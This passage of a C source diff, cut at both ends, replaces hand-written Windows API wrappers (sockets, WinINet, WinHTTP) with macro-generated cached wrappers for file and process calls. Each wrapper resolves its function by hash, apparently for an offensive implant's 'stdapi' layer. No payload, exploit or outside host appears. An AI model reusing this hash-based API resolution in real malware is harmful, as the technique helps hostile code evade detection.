type, int protocol) = GetFunctionH(WS2_32_DLL, H_socket); - dprintf("[WINAPI][winapi_ws2_32_socket] Calling socket @ %p", psocket); - if (psocket) { - return psocket(af, type, protocol); - } - return INVALID_SOCKET; -} - -int winapi_ws2_32_connect(SOCKET s, const struct sockaddr* name, int namelen) { - int (WSAAPI *pconnect)(SOCKET s, const struct sockaddr* name, int namelen) = GetFunctionH(WS2_32_DLL, H_connect); - dprintf("[WINAPI][winapi_ws2_32_connect] Calling connect @ %p", pconnect); - if (pconnect) { - return pconnect(s, name, namelen); - } - return SOCKET_ERROR; -} - -SOCKET winapi_ws2_32_accept(SOCKET s, struct sockaddr* addr, int* addrlen) { - SOCKET (WSAAPI *paccept)(SOCKET s, struct sockaddr* addr, int* addrlen) = GetFunctionH(WS2_32_DLL, H_accept); - dprintf("[WINAPI][winapi_ws2_32_accept] Calling accept @ %p", paccept); - if (paccept) { - return paccept(s, addr, addrlen); - } - return INVALID_SOCKET; -} - -int winapi_ws2_32_setsockopt(SOCKET s, int level, int optname, const char* optval, int optlen) { - int (WSAAPI *psetsockopt)(SOCKET s, int level, int optname, const char* optval, int optlen) = GetFunctionH(WS2_32_DLL, H_setsockopt); - dprintf("[WINAPI][winapi_ws2_32_setsockopt] Calling setsockopt @ %p", psetsockopt); - if (psetsockopt) { - return psetsockopt(s, level, optname, optval, optlen); - } - return SOCKET_ERROR; -} - -int winapi_ws2_32_recv(SOCKET s, char* buf, int len, int flags) { - int (WSAAPI *precv)(SOCKET s, char* buf, int len, int flags) = GetFunctionH(WS2_32_DLL, H_recv); - dprintf("[WINAPI][winapi_ws2_32_recv] Calling recv @ %p", precv); - if (precv) { - return precv(s, buf, len, flags); - } - return SOCKET_ERROR; -} - -int winapi_ws2_32_WSADuplicateSocketA(SOCKET s, DWORD dwProcessId, LPWSAPROTOCOL_INFOA lpProtocolInfo) { - int (WSAAPI *pWSADuplicateSocketA)(SOCKET s, DWORD dwProcessId, LPWSAPROTOCOL_INFOA lpProtocolInfo) = GetFunctionH(WS2_32_DLL, H_WSADuplicateSocketA); - dprintf("[WINAPI][winapi_ws2_32_WSADuplicateSocketA] Calling WSADuplicateSocketA @ %p", pWSADuplicateSocketA); - if (pWSADuplicateSocketA) { - return pWSADuplicateSocketA(s, dwProcessId, lpProtocolInfo); - } - return SOCKET_ERROR; -} - -int winapi_ws2_32_send(SOCKET s, const char* buf, int len, int flags) { - int (WSAAPI *pSend)(SOCKET, const char*, int, int) = GetFunctionH(WS2_32_DLL, H_send); - dprintf("[WINAPI][winapi_ws2_32_send] Calling send @ %p", pSend); - if (pSend) { - return pSend(s, buf, len, flags); - } - return SOCKET_ERROR; -} - -int winapi_ws2_32_bind(SOCKET s, const struct sockaddr* name, int namelen) { - int (WSAAPI *pBind)(SOCKET, const struct sockaddr*, int) = GetFunctionH(WS2_32_DLL, H_bind); - dprintf("[WINAPI][winapi_ws2_32_bind] Calling bind @ %p", pBind); - if (pBind) { - return pBind(s, name, namelen); - } - return SOCKET_ERROR; -} - -int winapi_ws2_32_listen(SOCKET s, int backlog) { - int (WSAAPI *pListen)(SOCKET, int) = GetFunctionH(WS2_32_DLL, H_listen); - dprintf("[WINAPI][winapi_ws2_32_listen] Calling listen @ %p", pListen); - if (pListen) { - return pListen(s, backlog); - } - return SOCKET_ERROR; -} - -int winapi_ws2_32_closesocket(SOCKET s) { - int (WSAAPI *pClosesocket)(SOCKET) = GetFunctionH(WS2_32_DLL, H_closesocket); - dprintf("[WINAPI][winapi_ws2_32_closesocket] Calling closesocket @ %p", pClosesocket); - if (pClosesocket) { - return pClosesocket(s); - } - return SOCKET_ERROR; -} - -int winapi_ws2_32_select(int nfds, fd_set* readfds, fd_set* writefds, fd_set* exceptfds, const struct timeval* timeout) { - int (WSAAPI *pSelect)(int, fd_set*, fd_set*, fd_set*, const struct timeval*) = GetFunctionH(WS2_32_DLL, H_select); - dprintf("[WINAPI][winapi_ws2_32_select] Calling select @ %p", pSelect); - if (pSelect) { - return pSelect(nfds, readfds, writefds, exceptfds, timeout); - } - return SOCKET_ERROR; -} - -struct hostent* winapi_ws2_32_gethostbyname(const char* name) { - struct hostent* (WSAAPI *pGethostbyname)(const char*) = GetFunctionH(WS2_32_DLL, H_gethostbyname); - dprintf("[WINAPI][winapi_ws2_32_gethostbyname] Calling gethostbyname @ %p", pGethostbyname); - if (pGethostbyname) { - return pGethostbyname(name); - } - return NULL; -} - -int winapi_ws2_32_getaddrinfo(PCSTR pNodeName, PCSTR pServiceName, const ADDRINFOA* pHints, PADDRINFOA* ppResult) { - int (WSAAPI *pGetaddrinfo)(PCSTR, PCSTR, const ADDRINFOA*, PADDRINFOA*) = GetFunctionH(WS2_32_DLL, H_getaddrinfo); - dprintf("[WINAPI][winapi_ws2_32_getaddrinfo] Calling getaddrinfo @ %p", pGetaddrinfo); - if (pGetaddrinfo) { - return pGetaddrinfo(pNodeName, pServiceName, pHints, ppResult); - } - return WSAEINVAL; -} - -VOID winapi_ws2_32_freeaddrinfo(PADDRINFOA pAddrInfo) { - VOID (WSAAPI *pFreeaddrinfo)(PADDRINFOA) = GetFunctionH(WS2_32_DLL, H_freeaddrinfo); - dprintf("[WINAPI][winapi_ws2_32_freeaddrinfo] Calling freeaddrinfo @ %p", pFreeaddrinfo); - if (pFreeaddrinfo) { - pFreeaddrinfo(pAddrInfo); - } -} - -u_short winapi_ws2_32_htons(u_short hostshort) { - u_short (WSAAPI *pHtons)(u_short) = GetFunctionH(WS2_32_DLL, H_htons); - dprintf("[WINAPI][winapi_ws2_32_htons] Calling htons @ %p", pHtons); - if (pHtons) { - return pHtons(hostshort); - } - return 0; -} - -u_long winapi_ws2_32_htonl(u_long hostlong) { - u_long (WSAAPI *pHtonl)(u_long) = GetFunctionH(WS2_32_DLL, H_htonl); - dprintf("[WINAPI][winapi_ws2_32_htonl] Calling htonl @ %p", pHtonl); - if (pHtonl) { - return pHtonl(hostlong); - } - return 0; -} - -u_long winapi_ws2_32_ntohl(u_long netlong) { - u_long (WSAAPI *pNtohl)(u_long) = GetFunctionH(WS2_32_DLL, H_ntohl); - dprintf("[WINAPI][winapi_ws2_32_ntohl] Calling ntohl @ %p", pNtohl); - if (pNtohl) { - return pNtohl(netlong); - } - return 0; -} - -unsigned long winapi_ws2_32_inet_addr(const char* cp) { - unsigned long (WSAAPI *pInet_addr)(const char*) = GetFunctionH(WS2_32_DLL, H_inet_addr); - dprintf("[WINAPI][winapi_ws2_32_inet_addr] Calling inet_addr @ %p", pInet_addr); - if (pInet_addr) { - return pInet_addr(cp); - } - return INADDR_NONE; -} - -// END: ws2_32.dll -// START: ws2_32 extensions.dll - -int winapi_ws2_32_WSAGetLastError(VOID) { - int (WSAAPI *pWSAGetLastError)(VOID) = GetFunctionH(WS2_32_DLL, H_WSAGetLastError); - dprintf("[WINAPI][winapi_ws2_32_WSAGetLastError] Calling WSAGetLastError @ %p", pWSAGetLastError); - if (pWSAGetLastError) { - return pWSAGetLastError(); - } - return 0; -} - -char* winapi_ws2_32_inet_ntoa(struct in_addr in) { - char* (WSAAPI *pInet_ntoa)(struct in_addr) = GetFunctionH(WS2_32_DLL, H_inet_ntoa); - dprintf("[WINAPI][winapi_ws2_32_inet_ntoa] Calling inet_ntoa @ %p", pInet_ntoa); - if (pInet_ntoa) { - return pInet_ntoa(in); - } - return NULL; -} - -// END: ws2_32 extensions.dll -// START: wininet.dll - -HINTERNET winapi_wininet_InternetOpenW(LPCWSTR lpszAgent, DWORD dwAccessType, LPCWSTR lpszProxy, LPCWSTR lpszProxyBypass, DWORD dwFlags) { - HINTERNET (WINAPI *pInternetOpenW)(LPCWSTR lpszAgent, DWORD dwAccessType, LPCWSTR lpszProxy, LPCWSTR lpszProxyBypass, DWORD dwFlags) = GetFunctionH(WININET_DLL, H_InternetOpenW); - dprintf("[WINAPI][winapi_wininet_InternetOpenW] Calling InternetOpenW @ %p", pInternetOpenW); - if (pInternetOpenW) { - return pInternetOpenW(lpszAgent, dwAccessType, lpszProxy, lpszProxyBypass, dwFlags); - } - return NULL; -} - -HINTERNET winapi_wininet_InternetConnectW(HINTERNET hInternet, LPCWSTR lpszServerName, INTERNET_PORT nServerPort, LPCWSTR lpszUserName, LPCWSTR lpszPassword, DWORD dwService, DWORD dwFlags, DWORD_PTR dwContext) { - HINTERNET (WINAPI *pInternetConnectW)(HINTERNET hInternet, LPCWSTR lpszServerName, INTERNET_PORT nServerPort, LPCWSTR lpszUserName, LPCWSTR lpszPassword, DWORD dwService, DWORD dwFlags, DWORD_PTR dwContext) = GetFunctionH(WININET_DLL, H_InternetConnectW); - dprintf("[WINAPI][winapi_wininet_InternetConnectW] Calling InternetConnectW @ %p", pInternetConnectW); - if (pInternetConnectW) { - return pInternetConnectW(hInternet, lpszServerName, nServerPort, lpszUserName, lpszPassword, dwService, dwFlags, dwContext); - } - return NULL; -} - -HINTERNET winapi_wininet_HttpOpenRequestW(HINTERNET hConnect, LPCWSTR lpszVerb, LPCWSTR lpszObjectName, LPCWSTR lpszVersion, LPCWSTR lpszReferrer, LPCWSTR* lplpszAcceptTypes, DWORD dwFlags, DWORD_PTR dwContext) { - HINTERNET (WINAPI *pHttpOpenRequestW)(HINTERNET hConnect, LPCWSTR lpszVerb, LPCWSTR lpszObjectName, LPCWSTR lpszVersion, LPCWSTR lpszReferrer, LPCWSTR* lplpszAcceptTypes, DWORD dwFlags, DWORD_PTR dwContext) = GetFunctionH(WININET_DLL, H_HttpOpenRequestW); - dprintf("[WINAPI][winapi_wininet_HttpOpenRequestW] Calling HttpOpenRequestW @ %p", pHttpOpenRequestW); - if (pHttpOpenRequestW) { - return pHttpOpenRequestW(hConnect, lpszVerb, lpszObjectName, lpszVersion, lpszReferrer, lplpszAcceptTypes, dwFlags, dwContext); - } - return NULL; -} - -BOOL winapi_wininet_InternetSetOptionW(HINTERNET hInternet, DWORD dwOption, LPVOID lpBuffer, DWORD dwBufferLength) { - BOOL (WINAPI *pInternetSetOptionW)(HINTERNET hInternet, DWORD dwOption, LPVOID lpBuffer, DWORD dwBufferLength) = GetFunctionH(WININET_DLL, H_InternetSetOptionW); - dprintf("[WINAPI][winapi_wininet_InternetSetOptionW] Calling InternetSetOptionW @ %p", pInternetSetOptionW); - if (pInternetSetOptionW) { - return pInternetSetOptionW(hInternet, dwOption, lpBuffer, dwBufferLength); - } - return FALSE; -} - -BOOL winapi_wininet_HttpSendRequestW(HINTERNET hRequest, LPCWSTR lpszHeaders, DWORD dwHeadersLength, LPVOID lpOptional, DWORD dwOptionalLength) { - BOOL (WINAPI *pHttpSendRequestW)(HINTERNET hRequest, LPCWSTR lpszHeaders, DWORD dwHeadersLength, LPVOID lpOptional, DWORD dwOptionalLength) = GetFunctionH(WININET_DLL, H_HttpSendRequestW); - dprintf("[WINAPI][winapi_wininet_HttpSendRequestW] Calling HttpSendRequestW @ %p", pHttpSendRequestW); - if (pHttpSendRequestW) { - return pHttpSendRequestW(hRequest, lpszHeaders, dwHeadersLength, lpOptional, dwOptionalLength); - } - return FALSE; -} - -BOOL winapi_wininet_HttpQueryInfoW(HINTERNET hRequest, DWORD dwInfoLevel, LPVOID lpBuffer, LPDWORD lpdwBufferLength, LPDWORD lpdwIndex) { - BOOL (WINAPI *pHttpQueryInfoW)(HINTERNET hRequest, DWORD dwInfoLevel, LPVOID lpBuffer, LPDWORD lpdwBufferLength, LPDWORD lpdwIndex) = GetFunctionH(WININET_DLL, H_HttpQueryInfoW); - dprintf("[WINAPI][winapi_wininet_HttpQueryInfoW] Calling HttpQueryInfoW @ %p", pHttpQueryInfoW); - if (pHttpQueryInfoW) { - return pHttpQueryInfoW(hRequest, dwInfoLevel, lpBuffer, lpdwBufferLength, lpdwIndex); - } - return FALSE; -} - -BOOL winapi_wininet_InternetReadFile(HINTERNET hFile, LPVOID lpBuffer, DWORD dwNumberOfBytesToRead, LPDWORD lpdwNumberOfBytesRead) { - BOOL (WINAPI *pInternetReadFile)(HINTERNET hFile, LPVOID lpBuffer, DWORD dwNumberOfBytesToRead, LPDWORD lpdwNumberOfBytesRead) = GetFunctionH(WININET_DLL, H_InternetReadFile); - dprintf("[WINAPI][winapi_wininet_InternetReadFile] Calling InternetReadFile @ %p", pInternetReadFile); - if (pInternetReadFile) { - return pInternetReadFile(hFile, lpBuffer, dwNumberOfBytesToRead, lpdwNumberOfBytesRead); - } - return FALSE; -} - -BOOL winapi_wininet_InternetCloseHandle(HINTERNET hInternet) { - BOOL (WINAPI *pInternetCloseHandle)(HINTERNET hInternet) = GetFunctionH(WININET_DLL, H_InternetCloseHandle); - dprintf("[WINAPI][winapi_wininet_InternetCloseHandle] Calling InternetCloseHandle @ %p", pInternetCloseHandle); - if (pInternetCloseHandle) { - return pInternetCloseHandle(hInternet); - } - return FALSE; -} - -BOOL winapi_wininet_InternetCrackUrlW(LPCWSTR lpszUrl, DWORD dwUrlLength, DWORD dwFlags, LPURL_COMPONENTSW lpUrlComponents) { - BOOL (WINAPI *pInternetCrackUrlW)(LPCWSTR lpszUrl, DWORD dwUrlLength, DWORD dwFlags, LPURL_COMPONENTSW lpUrlComponents) = GetFunctionH(WININET_DLL, H_InternetCrackUrlW); - dprintf("[WINAPI][winapi_wininet_InternetCrackUrlW] Calling InternetCrackUrlW @ %p", pInternetCrackUrlW); - if (pInternetCrackUrlW) { - return pInternetCrackUrlW(lpszUrl, dwUrlLength, dwFlags, lpUrlComponents); - } - return FALSE; -} - -// END: wininet.dll -// START: wininet extensions.dll - -BOOL winapi_wininet_HttpQueryInfoA(HINTERNET hRequest, DWORD dwInfoLevel, LPVOID lpBuffer, LPDWORD lpdwBufferLength, LPDWORD lpdwIndex) { - BOOL (WINAPI *pHttpQueryInfoA)(HINTERNET, DWORD, LPVOID, LPDWORD, LPDWORD) = GetFunctionH(WININET_DLL, H_HttpQueryInfoA); - dprintf("[WINAPI][winapi_wininet_HttpQueryInfoA] Calling HttpQueryInfoA @ %p", pHttpQueryInfoA); - if (pHttpQueryInfoA) { - return pHttpQueryInfoA(hRequest, dwInfoLevel, lpBuffer, lpdwBufferLength, lpdwIndex); - } - return FALSE; -} - -// END: wininet extensions.dll -// START: rpcrt4.dll - -RPC_STATUS winapi_rpcrt4_UuidCreate(UUID* Uuid) { - RPC_STATUS (RPC_ENTRY *pUuidCreate)(UUID* Uuid) = GetFunctionH(RPCRT4_DLL, H_UuidCreate); - dprintf("[WINAPI][winapi_rpcrt4_UuidCreate] Calling UuidCreate @ %p", pUuidCreate); - if (pUuidCreate) { - return pUuidCreate(Uuid); - } - return RPC_S_INTERNAL_ERROR; -} - -// END: rpcrt4.dll -// START: winhttp.dll - -HINTERNET winapi_winhttp_WinHttpOpen(LPCWSTR pszAgentW, DWORD dwAccessType, LPCWSTR pszProxyW, LPCWSTR pszProxyBypassW, DWORD dwFlags) { - HINTERNET (WINAPI *pWinHttpOpen)(LPCWSTR pszAgentW, DWORD dwAccessType, LPCWSTR pszProxyW, LPCWSTR pszProxyBypassW, DWORD dwFlags) = GetFunctionH(WINHTTP_DLL, H_WinHttpOpen); - dprintf("[WINAPI][winapi_winhttp_WinHttpOpen] Calling WinHttpOpen @ %p", pWinHttpOpen); - if (pWinHttpOpen) { - return pWinHttpOpen(pszAgentW, dwAccessType, pszProxyW, pszProxyBypassW, dwFlags); - } - return NULL; -} - -HINTERNET winapi_winhttp_WinHttpConnect(HINTERNET hSession, LPCWSTR pswzServerName, INTERNET_PORT nServerPort, DWORD dwReserved) { - HINTERNET (WINAPI *pWinHttpConnect)(HINTERNET hSession, LPCWSTR pswzServerName, INTERNET_PORT nServerPort, DWORD dwReserved) = GetFunctionH(WINHTTP_DLL, H_WinHttpConnect); - dprintf("[WINAPI][winapi_winhttp_WinHttpConnect] Calling WinHttpConnect @ %p", pWinHttpConnect); - if (pWinHttpConnect) { - return pWinHttpConnect(hSession, pswzServerName, nServerPort, dwReserved); - } - return NULL; -} - -HINTERNET winapi_winhttp_WinHttpOpenRequest(HINTERNET hConnect, LPCWSTR pwszVerb, LPCWSTR pwszObjectName, LPCWSTR pwszVersion, LPCWSTR pwszReferrer, LPCWSTR* ppwszAcceptTypes, DWORD dwFlags) { - HINTERNET (WINAPI *pWinHttpOpenRequest)(HINTERNET hConnect, LPCWSTR pwszVerb, LPCWSTR pwszObjectName, LPCWSTR pwszVersion, LPCWSTR pwszReferrer, LPCWSTR* ppwszAcceptTypes, DWORD dwFlags) = GetFunctionH(WINHTTP_DLL, H_WinHttpOpenRequest); - dprintf("[WINAPI][winapi_winhttp_WinHttpOpenRequest] Calling WinHttpOpenRequest @ %p", pWinHttpOpenRequest); - if (pWinHttpOpenRequest) { - return pWinHttpOpenRequest(hConnect, pwszVerb, pwszObjectName, pwszVersion, pwszReferrer, ppwszAcceptTypes, dwFlags); - } - return NULL; -} - -BOOL winapi_winhttp_WinHttpGetIEProxyConfigForCurrentUser(WINHTTP_CURRENT_USER_IE_PROXY_CONFIG* pProxyConfig) { - BOOL (WINAPI *pWinHttpGetIEProxyConfigForCurrentUser)(WINHTTP_CURRENT_USER_IE_PROXY_CONFIG* pProxyConfig) = GetFunctionH(WINHTTP_DLL, H_WinHttpGetIEProxyConfigForCurrentUser); - dprintf("[WINAPI][winapi_winhttp_WinHttpGetIEProxyConfigForCurrentUser] Calling WinHttpGetIEProxyConfigForCurrentUser @ %p", pWinHttpGetIEProxyConfigForCurrentUser); - if (pWinHttpGetIEProxyConfigForCurrentUser) { - return pWinHttpGetIEProxyConfigForCurrentUser(pProxyConfig); - } - return FALSE; -} - -BOOL winapi_winhttp_WinHttpGetProxyForUrl(HINTERNET hSession, LPCWSTR lpcwszUrl, WINHTTP_AUTOPROXY_OPTIONS* pAutoProxyOptions, WINHTTP_PROXY_INFO* pProxyInfo) { - BOOL (WINAPI *pWinHttpGetProxyForUrl)(HINTERNET hSession, LPCWSTR lpcwszUrl, WINHTTP_AUTOPROXY_OPTIONS* pAutoProxyOptions, WINHTTP_PROXY_INFO* pProxyInfo) = GetFunctionH(WINHTTP_DLL, H_WinHttpGetProxyForUrl); - dprintf("[WINAPI][winapi_winhttp_WinHttpGetProxyForUrl] Calling WinHttpGetProxyForUrl @ %p", pWinHttpGetProxyForUrl); - if (pWinHttpGetProxyForUrl) { - return pWinHttpGetProxyForUrl(hSession, lpcwszUrl, pAutoProxyOptions, pProxyInfo); - } - return FALSE; -} - -BOOL winapi_winhttp_WinHttpSetOption(HINTERNET hInternet, DWORD dwOption, LPVOID lpBuffer, DWORD dwBufferLength) { - BOOL (WINAPI *pWinHttpSetOption)(HINTERNET hInternet, DWORD dwOption, LPVOID lpBuffer, DWORD dwBufferLength) = GetFunctionH(WINHTTP_DLL, H_WinHttpSetOption); - dprintf("[WINAPI][winapi_winhttp_WinHttpSetOption] Calling WinHttpSetOption @ %p", pWinHttpSetOption); - if (pWinHttpSetOption) { - return pWinHttpSetOption(hInternet, dwOption, lpBuffer, dwBufferLength); - } - return FALSE; -} - -BOOL winapi_winhttp_WinHttpSendRequest(HINTERNET hRequest, LPCWSTR lpszHeaders, DWORD dwHeadersLength, LPVOID lpOptional, DWORD dwOptionalLength, DWORD dwTotalLength, DWORD_PTR dwContext) { - BOOL (WINAPI *pWinHttpSendRequest)(HINTERNET hRequest, LPCWSTR lpszHeaders, DWORD dwHeadersLength, LPVOID lpOptional, DWORD dwOptionalLength, DWORD dwTotalLength, DWORD_PTR dwContext) = GetFunctionH(WINHTTP_DLL, H_WinHttpSendRequest); - dprintf("[WINAPI][winapi_winhttp_WinHttpSendRequest] Calling WinHttpSendRequest @ %p", pWinHttpSendRequest); - if (pWinHttpSendRequest) { - return pWinHttpSendRequest(hRequest, lpszHeaders, dwHeadersLength, lpOptional, dwOptionalLength, dwTotalLength, dwContext); - } - return FALSE; -} - -BOOL winapi_winhttp_WinHttpReceiveResponse(HINTERNET hRequest, LPVOID lpReserved) { - BOOL (WINAPI *pWinHttpReceiveResponse)(HINTERNET hRequest, LPVOID lpReserved) = GetFunctionH(WINHTTP_DLL, H_WinHttpReceiveResponse); - dprintf("[WINAPI][winapi_winhttp_WinHttpReceiveResponse] Calling WinHttpReceiveResponse @ %p", pWinHttpReceiveResponse); - if (pWinHttpReceiveResponse) { - return pWinHttpReceiveResponse(hRequest, lpReserved); - } - return FALSE; -} - -BOOL winapi_winhttp_WinHttpQueryHeaders(HINTERNET hRequest, DWORD dwInfoLevel, LPCWSTR pwszName, LPVOID lpvBuffer, LPDWORD lpdwBufferLength, LPDWORD lpdwIndex) { - BOOL (WINAPI *pWinHttpQueryHeaders)(HINTERNET hRequest, DWORD dwInfoLevel, LPCWSTR pwszName, LPVOID lpvBuffer, LPDWORD lpdwBufferLength, LPDWORD lpdwIndex) = GetFunctionH(WINHTTP_DLL, H_WinHttpQueryHeaders); - dprintf("[WINAPI][winapi_winhttp_WinHttpQueryHeaders] Calling WinHttpQueryHeaders @ %p", pWinHttpQueryHeaders); - if (pWinHttpQueryHeaders) { - return pWinHttpQueryHeaders(hRequest, dwInfoLevel, pwszName, lpvBuffer, lpdwBufferLength, lpdwIndex); - } - return FALSE; -} - -BOOL winapi_winhttp_WinHttpReadData(HINTERNET hRequest, LPVOID lpBuffer, DWORD dwNumberOfBytesToRead, LPDWORD lpdwNumberOfBytesRead) { - BOOL (WINAPI *pWinHttpReadData)(HINTERNET hRequest, LPVOID lpBuffer, DWORD dwNumberOfBytesToRead, LPDWORD lpdwNumberOfBytesRead) = GetFunctionH(WINHTTP_DLL, H_WinHttpReadData); - dprintf("[WINAPI][winapi_winhttp_WinHttpReadData] Calling WinHttpReadData @ %p", pWinHttpReadData); - if (pWinHttpReadData) { - return pWinHttpReadData(hRequest, lpBuffer, dwNumberOfBytesToRead, lpdwNumberOfBytesRead); - } - return FALSE; -} - -BOOL winapi_winhttp_WinHttpQueryOption(HINTERNET hInternet, DWORD dwOption, LPVOID lpBuffer, LPDWORD lpdwBufferLength) { - BOOL (WINAPI *pWinHttpQueryOption)(HINTERNET hInternet, DWORD dwOption, LPVOID lpBuffer, LPDWORD lpdwBufferLength) = GetFunctionH(WINHTTP_DLL, H_WinHttpQueryOption); - dprintf("[WINAPI][winapi_winhttp_WinHttpQueryOption] Calling WinHttpQueryOption @ %p", pWinHttpQueryOption); - if (pWinHttpQueryOption) { - return pWinHttpQueryOption(hInternet, dwOption, lpBuffer, lpdwBufferLength); - } - return FALSE; -} - -BOOL winapi_winhttp_WinHttpCrackUrl(LPCWSTR pwszUrl, DWORD dwUrlLength, DWORD dwFlags, LPURL_COMPONENTS lpUrlComponents) { - BOOL (WINAPI *pWinHttpCrackUrl)(LPCWSTR pwszUrl, DWORD dwUrlLength, DWORD dwFlags, LPURL_COMPONENTS lpUrlComponents) = GetFunctionH(WINHTTP_DLL, H_WinHttpCrackUrl); - dprintf("[WINAPI][winapi_winhttp_WinHttpCrackUrl] Calling WinHttpCrackUrl @ %p", pWinHttpCrackUrl); - if (pWinHttpCrackUrl) { - return pWinHttpCrackUrl(pwszUrl, dwUrlLength, dwFlags, lpUrlComponents); - } - return FALSE; -} - -BOOL winapi_winhttp_WinHttpCloseHandle(HINTERNET hInternet) { - BOOL (WINAPI *pWinHttpCloseHandle)(HINTERNET) = GetFunctionH(WINHTTP_DLL, H_WinHttpCloseHandle); - dprintf("[WINAPI][winapi_winhttp_WinHttpCloseHandle] Calling WinHttpCloseHandle @ %p", pWinHttpCloseHandle); - if (pWinHttpCloseHandle) { - return pWinHttpCloseHandle(hInternet); - } - return FALSE; -} - -BOOL winapi_winhttp_WinHttpWriteData(HINTERNET hRequest, LPCVOID lpBuffer, DWORD dwNumberOfBytesToWrite, LPDWORD lpdwNumberOfBytesWritten) { - BOOL (WINAPI *pWinHttpWriteData)(HINTERNET, LPCVOID, DWORD, LPDWORD) = GetFunctionH(WINHTTP_DLL, H_WinHttpWriteData); - dprintf("[WINAPI][winapi_winhttp_WinHttpWriteData] Calling WinHttpWriteData @ %p", pWinHttpWriteData); - if (pWinHttpWriteData) { - return pWinHttpWriteData(hRequest, lpBuffer, dwNumberOfBytesToWrite, lpdwNumberOfBytesWritten); - } - return FALSE; -} - -// END: winhttp.dll +// START: expanded stdapi surface + +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_kernel32_CopyFileW, WINAPI, KERNEL32_DLL, H_CopyFileW, + (LPCWSTR lpExistingFileName, LPCWSTR lpNewFileName, BOOL bFailIfExists), + (lpExistingFileName, lpNewFileName, bFailIfExists), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_kernel32_CreateDirectoryW, WINAPI, KERNEL32_DLL, H_CreateDirectoryW, + (LPCWSTR lpPathName, LPSECURITY_ATTRIBUTES lpSecurityAttributes), (lpPathName, lpSecurityAttributes), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_kernel32_DeleteFileA, WINAPI, KERNEL32_DLL, H_DeleteFileA, + (LPCSTR lpFileName), (lpFileName), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_kernel32_DeleteFileW, WINAPI, KERNEL32_DLL, H_DeleteFileW, + (LPCWSTR lpFileName), (lpFileName), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_kernel32_DisconnectNamedPipe, WINAPI, KERNEL32_DLL, H_DisconnectNamedPipe, + (HANDLE hNamedPipe), (hNamedPipe), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(DWORD, winapi_kernel32_ExpandEnvironmentStringsA, WINAPI, KERNEL32_DLL, H_ExpandEnvironmentStringsA, + (LPCSTR lpSrc, LPSTR lpDst, DWORD nSize), (lpSrc, lpDst, nSize), 0) +DEFINE_CACHED_WINAPI_WRAPPER(DWORD, winapi_kernel32_ExpandEnvironmentStringsW, WINAPI, KERNEL32_DLL, H_ExpandEnvironmentStringsW, + (LPCWSTR lpSrc, LPWSTR lpDst, DWORD nSize), (lpSrc, lpDst, nSize), 0) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_kernel32_FileTimeToSystemTime, WINAPI, KERNEL32_DLL, H_FileTimeToSystemTime, + (const FILETIME* lpFileTime, LPSYSTEMTIME lpSystemTime), (lpFileTime, lpSystemTime), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_kernel32_FindClose, WINAPI, KERNEL32_DLL, H_FindClose, + (HANDLE hFindFile), (hFindFile), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(HANDLE, winapi_kernel32_FindFirstFileW, WINAPI, KERNEL32_DLL, H_FindFirstFileW, + (LPCWSTR lpFileName, LPWIN32_FIND_DATAW lpFindFileData), (lpFileName, lpFindFileData), INVALID_HANDLE_VALUE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_kernel32_FindNextFileW, WINAPI, KERNEL32_DLL, H_FindNextFileW, + (HANDLE hFindFile, LPWIN32_FIND_DATAW lpFindFileData), (hFindFile, lpFindFileData), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(HRSRC, winapi_kernel32_FindResourceA, WINAPI, KERNEL32_DLL, H_FindResourceA, + (HMODULE hModule, LPCSTR lpName, LPCSTR lpType), (hModule, lpName, lpType), NULL) +DEFINE_CACHED_WINAPI_WRAPPER(DWORD, winapi_kernel32_GetCurrentDirectoryW, WINAPI, KERNEL32_DLL, H_GetCurrentDirectoryW, + (DWORD nBufferLength, LPWSTR lpBuffer), (nBufferLength, lpBuffer), 0) +DEFINE_CACHED_WINAPI_WRAPPER(DWORD, winapi_kernel32_GetCurrentProcessId, WINAPI, KERNEL32_DLL, H_GetCurrentProcessId, + (VOID), (), 0) +DEFINE_CACHED_WINAPI_WRAPPER(int, winapi_kernel32_GetDateFormatW, WINAPI, KERNEL32_DLL, H_GetDateFormatW, + (LCID Locale, DWORD dwFlags, const SYSTEMTIME* lpDate, LPCWSTR lpFormat, LPWSTR lpDateStr, int cchDate), + (Locale, dwFlags, lpDate, lpFormat, lpDateStr, cchDate), 0) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_kernel32_GetDiskFreeSpaceExA, WINAPI, KERNEL32_DLL, H_GetDiskFreeSpaceExA, + (LPCSTR lpDirectoryName, PULARGE_INTEGER lpFreeBytesAvailableToCaller, PULARGE_INTEGER lpTotalNumberOfBytes, PULARGE_INTEGER lpTotalNumberOfFreeBytes), + (lpDirectoryName, lpFreeBytesAvailableToCaller, lpTotalNumberOfBytes, lpTotalNumberOfFreeBytes), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(UINT, winapi_kernel32_GetDriveTypeA, WINAPI, KERNEL32_DLL, H_GetDriveTypeA, + (LPCSTR lpRootPathName), (lpRootPathName), DRIVE_UNKNOWN) +DEFINE_CACHED_WINAPI_WRAPPER(UINT, winapi_kernel32_GetDriveTypeW, WINAPI, KERNEL32_DLL, H_GetDriveTypeW, + (LPCWSTR lpRootPathName), (lpRootPathName), DRIVE_UNKNOWN) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_kernel32_GetExitCodeThread, WINAPI, KERNEL32_DLL, H_GetExitCodeThread, + (HANDLE hThread, LPDWORD lpExitCode), (hThread, lpExitCode), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(DWORD, winapi_kernel32_GetFileAttributesA, WINAPI, KERNEL32_DLL, H_GetFileAttributesA, + (LPCSTR lpFileName), (lpFileName), INVALID_FILE_ATTRIBUTES) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_kernel32_GetFileAttributesExW, WINAPI, KERNEL32_DLL, H_GetFileAttributesExW, + (LPCWSTR lpFileName, GET_FILEEX_INFO_LEVELS fInfoLevelId, LPVOID lpFileInformation), + (lpFileName, fInfoLevelId, lpFileInformation), 